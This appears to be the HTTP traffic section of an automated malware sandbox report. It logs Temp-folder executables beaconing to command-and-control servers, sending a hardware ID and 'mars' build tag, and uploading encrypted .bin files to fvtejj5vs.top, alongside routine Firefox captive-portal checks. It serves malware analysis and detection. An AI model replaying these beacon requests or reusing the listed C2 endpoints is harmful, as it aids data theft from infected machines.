Nov 18, 2024 04:43:01.130465031 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	64775	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:02.656867027 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:43:03.577584028 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	64784	185.215.113.206	80	7820	C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:04.450361013 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 04:43:05.359172106 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:43:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 04:43:05.362512112 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJKEBKFCAAECAAAAAE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 36 44 35 41 44 31 38 34 41 41 31 31 30 36 36 35 34 35 34 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 2d 2d 0d 0a Data Ascii: ------KKKJKEBKFCAAECAAAAAEContent-Disposition: form-data; name="hwid"C26D5AD184AA1106654546------KKKJKEBKFCAAECAAAAAEContent-Disposition: form-data; name="build"mars------KKKJKEBKFCAAECAAAAAE--
Nov 18, 2024 04:43:05.643301964 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:43:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	64785	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:05.264400959 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:43:06.168303967 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	64793	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:06.819919109 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:07.428324938 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79521 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:07.630944967 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:07.759267092 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79521 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:07.825608969 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:07.952395916 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79521 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:08.176718950 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:08.303973913 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79522 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:08.674962997 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:08.801827908 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79522 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:09.118206024 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:09.245652914 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79523 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:09.615411043 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:09.742350101 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79523 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:13.653158903 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:13.780138969 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79527 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:23.823965073 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	64804	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:07.449486017 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	64808	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:07.885575056 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	64809	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:07.999699116 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:43:08.854120016 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	64810	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:08.092562914 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	64815	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:08.397896051 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	64817	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:09.113214016 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	64820	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:09.289439917 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	64821	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:09.752921104 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:43:10.357835054 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48730 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:43:13.783332109 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:43:13.909374952 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48733 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:43:23.924755096 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	64823	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:10.624620914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	64824	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:12.146310091 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:43:13.053257942 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	64827	62.76.234.151	80	8532	C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:13.628317118 CET	643	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtejj5vs.top Accept: / Content-Length: 464 Content-Type: multipart/form-data; boundary=------------------------uuSSWS2IHkhgsC2jJMoZlJ Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 75 75 53 53 57 53 32 49 48 6b 68 67 73 43 32 6a 4a 4d 6f 5a 6c 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 69 6c 61 6b 61 77 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4c 0e ce 76 81 b1 98 b2 54 28 a3 d4 58 43 17 1a 49 71 39 27 67 b1 e3 b5 c5 45 67 2b be 63 de 41 18 d5 63 83 38 ac 67 10 6b 15 d8 35 aa 78 02 be bb 22 3e d1 8f 42 e6 df 16 6c e3 2a 72 7f ac 46 23 b2 a9 b1 ec 7f 3a a9 30 97 33 84 49 e6 2d b3 86 aa b9 3c 83 35 bb 0d 12 f0 eb e2 fc cd 76 c0 f1 3b 25 1f 5f c9 21 b9 93 bb c4 1e ac 80 80 2e 01 a5 f2 47 5b 0c 8e 00 cf cc 37 d0 f1 c4 3f c3 21 df 5d b4 3f fa 19 02 c1 26 a4 df 5f 45 b3 8f 14 83 81 cc 2c 71 33 b1 4e f2 ef 4f 4a ba da 82 c1 cd ec bf 5f 82 58 a8 e4 ed 5b c8 8d 54 5c 2a [TRUNCATED] Data Ascii: --------------------------uuSSWS2IHkhgsC2jJMoZlJContent-Disposition: form-data; name="file"; filename="Pilakawe.bin"Content-Type: application/octet-streamLvT(XCIq9'gEg+cAc8gk5x">BlrF#:03I-<5v;%_!.G[7?!]?&_E,q3NOJ_X[T\eJ]?@Md\|}9>^C@^vTT<7+]8/%C."--------------------------uuSSWS2IHkhgsC2jJMoZlJ--
Nov 18, 2024 04:43:14.645140886 CET	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	64828	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:14.686180115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:43:15.600035906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	64829	62.76.234.151	80	8532	C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:16.058909893 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtejj5vs.top Accept: / Content-Length: 76139 Content-Type: multipart/form-data; boundary=------------------------qR368zxNu9MnpsPAtbq4gj Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 71 52 33 36 38 7a 78 4e 75 39 4d 6e 70 73 50 41 74 62 71 34 67 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 6f 63 75 62 6f 74 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 10 87 3d c4 4d 8e 15 68 3c 56 df 3a b0 b0 7c 11 c0 e2 6d ab 42 b1 cb b9 9b 2b dc 92 57 7d 8a 24 34 10 ae af 10 fc 80 ee b4 8e d5 fc 39 1b 61 18 a6 fe 4c 45 b0 e1 ea 3c 7b a5 6f c4 02 ba 4f 6f b1 e5 3d 72 b4 6f 90 f6 75 0f bb 56 bf 2c ba 35 61 34 1e 28 1c 89 50 65 11 e9 97 ea 11 ea d1 26 19 a5 ee 85 9b b0 25 f4 db bc c4 31 38 69 5d 94 74 e5 c8 93 59 a3 60 55 d3 93 bf 95 a0 3b 52 bb 7f a2 70 b2 ab c9 05 22 dc c0 c9 20 0b cb a6 e8 af 9e c7 b0 f2 00 5f 2e 24 e7 32 20 eb fe ff 7b c9 1a c4 28 a3 5c 76 c0 3d fb 59 4b 5a 90 b0 bc c9 [TRUNCATED] 